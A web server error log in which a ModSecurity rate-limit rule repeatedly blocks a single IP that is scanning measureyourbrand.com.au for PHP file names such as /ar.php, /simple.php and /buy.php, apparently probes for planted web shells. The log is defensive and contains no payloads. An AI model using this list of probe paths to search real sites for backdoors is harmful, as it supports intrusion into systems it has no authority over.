[Thu Dec 18 21:59:24.638336 2025] [:error] [pid 24958:tid 24962] [client 4.190.217.214:8964] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r.php"] [unique_id "aUQIvMkDOrUkd0wNm2HWSwAAAYE"]
[Thu Dec 18 21:59:25.085680 2025] [:error] [pid 23645:tid 23652] [client 4.190.217.214:8914] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aUQIvTf_Rx0Y0ao_QJhoMQAAAIU"]
[Thu Dec 18 21:59:25.501934 2025] [:error] [pid 12383:tid 12394] [client 4.190.217.214:9208] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aUQIvfdgllo9h1cyxGbPxAAAAsg"]
[Thu Dec 18 21:59:25.959084 2025] [:error] [pid 23556:tid 23575] [client 4.190.217.214:8962] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aUQIvRnmLlk3u5yt9kH0VgAAAA8"]
[Thu Dec 18 21:59:26.391859 2025] [:error] [pid 23556:tid 23566] [client 4.190.217.214:9080] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aUQIvhnmLlk3u5yt9kH0VwAAAAY"]
[Thu Dec 18 21:59:26.852761 2025] [:error] [pid 23645:tid 23660] [client 4.190.217.214:9050] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aUQIvjf_Rx0Y0ao_QJhoNgAAAI0"]
[Thu Dec 18 21:59:27.377705 2025] [:error] [pid 23558:tid 23639] [client 4.190.217.214:9205] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aUQIv-Ham9NbgPQa9uYx_QAAANg"]
[Thu Dec 18 21:59:28.200754 2025] [:error] [pid 23556:tid 23579] [client 4.190.217.214:8974] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aUQIwBnmLlk3u5yt9kH0WwAAABM"]
[Thu Dec 18 21:59:29.004225 2025] [:error] [pid 23556:tid 23563] [client 4.190.217.214:9147] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aUQIwRnmLlk3u5yt9kH0XgAAAAM"]
[Thu Dec 18 21:59:29.496982 2025] [:error] [pid 25357:tid 25379] [client 4.190.217.214:9124] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aUQIwYaT7bsEXnJVfJd2JwAAAdQ"]
[Thu Dec 18 21:59:29.780975 2025] [:error] [pid 12239:tid 12251] [client 4.190.217.214:9117] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aUQIwdNnXxfGIuWO6aknqAAAAoc"]
[Thu Dec 18 21:59:30.151230 2025] [:error] [pid 24542:tid 24557] [client 4.190.217.214:8969] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aUQIwktQz4H2oS3NrDYrrgAAAU0"]
[Thu Dec 18 21:59:30.680977 2025] [:error] [pid 12035:tid 12054] [client 4.190.217.214:9132] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aUQIwrcVHrNSHjCo-0qhHQAAAgs"]
[Thu Dec 18 21:59:31.250968 2025] [:error] [pid 24542:tid 24553] [client 4.190.217.214:9062] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mar.php"] [unique_id "aUQIw0tQz4H2oS3NrDYrsQAAAUk"]
[Thu Dec 18 21:59:31.679317 2025] [:error] [pid 24542:tid 24565] [client 4.190.217.214:9017] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mar.php"] [unique_id "aUQIw0tQz4H2oS3NrDYrtAAAAVU"]
[Thu Dec 18 21:59:32.069438 2025] [:error] [pid 12383:tid 12406] [client 4.190.217.214:8990] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mar.php"] [unique_id "aUQIxPdgllo9h1cyxGbPyQAAAtQ"]
[Thu Dec 18 21:59:32.402897 2025] [:error] [pid 24542:tid 24562] [client 4.190.217.214:9035] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mar.php"] [unique_id "aUQIxEtQz4H2oS3NrDYrtQAAAVI"]
[Thu Dec 18 21:59:32.737479 2025] [:error] [pid 25357:tid 25377] [client 4.190.217.214:8996] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aUQIxIaT7bsEXnJVfJd2LgAAAdI"]
[Thu Dec 18 21:59:33.094844 2025] [:error] [pid 12239:tid 12259] [client 4.190.217.214:9131] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aUQIxdNnXxfGIuWO6aknrQAAAo8"]
[Thu Dec 18 21:59:33.410987 2025] [:error] [pid 23645:tid 23667] [client 4.190.217.214:8973] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aUQIxTf_Rx0Y0ao_QJhoPgAAAJQ"]
[Thu Dec 18 21:59:34.070152 2025] [:error] [pid 24542:tid 24552] [client 4.190.217.214:8976] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aUQIxktQz4H2oS3NrDYrtwAAAUg"]
[Thu Dec 18 21:59:34.500322 2025] [:error] [pid 12383:tid 12388] [client 4.190.217.214:9049] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/321.php"] [unique_id "aUQIxvdgllo9h1cyxGbPywAAAsI"]
[Thu Dec 18 21:59:35.050777 2025] [:error] [pid 23645:tid 23671] [client 4.190.217.214:8899] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/321.php"] [unique_id "aUQIxzf_Rx0Y0ao_QJhoPwAAAJg"]
[Thu Dec 18 21:59:40.263352 2025] [:error] [pid 24542:tid 24551] [client 4.190.217.214:9010] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/321.php"] [unique_id "aUQIzEtQz4H2oS3NrDYrxwAAAUc"]
[Thu Dec 18 21:59:40.729095 2025] [:error] [pid 23556:tid 23564] [client 4.190.217.214:8847] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/321.php"] [unique_id "aUQIzBnmLlk3u5yt9kH0ZQAAAAQ"]
[Thu Dec 18 21:59:41.322382 2025] [:error] [pid 24542:tid 24561] [client 4.190.217.214:9031] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aUQIzUtQz4H2oS3NrDYryQAAAVE"]
[Thu Dec 18 21:59:41.816975 2025] [:error] [pid 12035:tid 12051] [client 4.190.217.214:9074] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aUQIzbcVHrNSHjCo-0qhIQAAAgk"]
[Thu Dec 18 21:59:42.126636 2025] [:error] [pid 23556:tid 23565] [client 4.190.217.214:9012] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aUQIzhnmLlk3u5yt9kH0awAAAAU"]
[Thu Dec 18 21:59:42.547294 2025] [:error] [pid 24542:tid 24560] [client 4.190.217.214:13304] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aUQIzktQz4H2oS3NrDYrzQAAAVA"]
[Thu Dec 18 21:59:43.064593 2025] [:error] [pid 12383:tid 12397] [client 4.190.217.214:9044] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aUQIz_dgllo9h1cyxGbP0AAAAss"]
[Thu Dec 18 21:59:43.410279 2025] [:error] [pid 23558:tid 23638] [client 4.190.217.214:8901] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aUQIz-Ham9NbgPQa9uYyAwAAANc"]
[Thu Dec 18 21:59:43.924764 2025] [:error] [pid 24542:tid 24565] [client 4.190.217.214:13280] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aUQIz0tQz4H2oS3NrDYr0gAAAVU"]
[Thu Dec 18 21:59:44.336154 2025] [:error] [pid 23645:tid 23648] [client 4.190.217.214:13208] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aUQI0Df_Rx0Y0ao_QJhoVAAAAIE"]
[Thu Dec 18 21:59:44.724020 2025] [:error] [pid 24542:tid 24545] [client 4.190.217.214:8967] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/al.php"] [unique_id "aUQI0EtQz4H2oS3NrDYr1QAAAUE"]
[Thu Dec 18 21:59:45.042515 2025] [:error] [pid 23556:tid 23568] [client 4.190.217.214:8904] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/al.php"] [unique_id "aUQI0RnmLlk3u5yt9kH0bwAAAAg"]
[Thu Dec 18 21:59:45.360433 2025] [:error] [pid 24542:tid 24546] [client 4.190.217.214:9084] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/al.php"] [unique_id "aUQI0UtQz4H2oS3NrDYr1gAAAUI"]
[Thu Dec 18 21:59:45.664616 2025] [:error] [pid 12239:tid 12254] [client 4.190.217.214:9059] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/al.php"] [unique_id "aUQI0dNnXxfGIuWO6aknuAAAAoo"]
[Thu Dec 18 21:59:46.063838 2025] [:error] [pid 12035:tid 12060] [client 4.190.217.214:9146] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aUQI0rcVHrNSHjCo-0qhJAAAAhE"]
[Thu Dec 18 21:59:46.731165 2025] [:error] [pid 23645:tid 23651] [client 4.190.217.214:8999] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aUQI0jf_Rx0Y0ao_QJhoVwAAAIQ"]
[Thu Dec 18 21:59:47.118050 2025] [:error] [pid 23558:tid 23622] [client 4.190.217.214:8907] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aUQI0-Ham9NbgPQa9uYyBQAAAMc"]
[Thu Dec 18 21:59:47.368177 2025] [:error] [pid 23645:tid 23668] [client 4.190.217.214:9140] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aUQI0zf_Rx0Y0ao_QJhoWAAAAJU"]
[Thu Dec 18 21:59:47.614479 2025] [:error] [pid 25357:tid 25363] [client 4.190.217.214:8972] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aUQI04aT7bsEXnJVfJd2UAAAAcQ"]
[Thu Dec 18 21:59:47.925906 2025] [:error] [pid 25357:tid 25381] [client 4.190.217.214:9198] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aUQI04aT7bsEXnJVfJd2UQAAAdY"]
[Thu Dec 18 21:59:48.195281 2025] [:error] [pid 25357:tid 25366] [client 4.190.217.214:13186] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aUQI1IaT7bsEXnJVfJd2VAAAAcc"]
[Thu Dec 18 21:59:48.886751 2025] [:error] [pid 23558:tid 23639] [client 4.190.217.214:9021] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aUQI1OHam9NbgPQa9uYyCgAAANg"]
[Thu Dec 18 21:59:49.254774 2025] [:error] [pid 23556:tid 23569] [client 4.190.217.214:9143] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aUQI1RnmLlk3u5yt9kH0cQAAAAk"]
[Thu Dec 18 21:59:49.775609 2025] [:error] [pid 23558:tid 23635] [client 4.190.217.214:9047] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aUQI1eHam9NbgPQa9uYyDgAAANQ"]
[Thu Dec 18 21:59:50.354392 2025] [:error] [pid 24433:tid 24457] [client 4.190.217.214:8989] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aUQI1p4pN9ycmipm8Tjj9gAAARU"]
[Thu Dec 18 21:59:51.256894 2025] [:error] [pid 23558:tid 23617] [client 4.190.217.214:9104] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aUQI1-Ham9NbgPQa9uYyFQAAAMI"]
[Thu Dec 18 21:59:51.924859 2025] [:error] [pid 23558:tid 23621] [client 4.190.217.214:9061] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "aUQI1-Ham9NbgPQa9uYyFwAAAMY"]
[Thu Dec 18 21:59:52.379254 2025] [:error] [pid 23558:tid 23636] [client 4.190.217.214:8834] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "aUQI2OHam9NbgPQa9uYyGAAAANU"]
[Thu Dec 18 21:59:52.863022 2025] [:error] [pid 23558:tid 23615] [client 4.190.217.214:8968] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "aUQI2OHam9NbgPQa9uYyGgAAAMA"]
[Thu Dec 18 21:59:53.159212 2025] [:error] [pid 23558:tid 23623] [client 4.190.217.214:9071] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "aUQI2eHam9NbgPQa9uYyGwAAAMg"]
[Thu Dec 18 21:59:53.736630 2025] [:error] [pid 23645:tid 23657] [client 4.190.217.214:8995] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aUQI2Tf_Rx0Y0ao_QJhoYQAAAIo"]
[Thu Dec 18 21:59:54.212157 2025] [:error] [pid 24542:tid 24548] [client 4.190.217.214:9123] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aUQI2ktQz4H2oS3NrDYr3gAAAUQ"]
[Thu Dec 18 21:59:54.502269 2025] [:error] [pid 12239:tid 12249] [client 4.190.217.214:8943] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aUQI2tNnXxfGIuWO6aknvAAAAoU"]
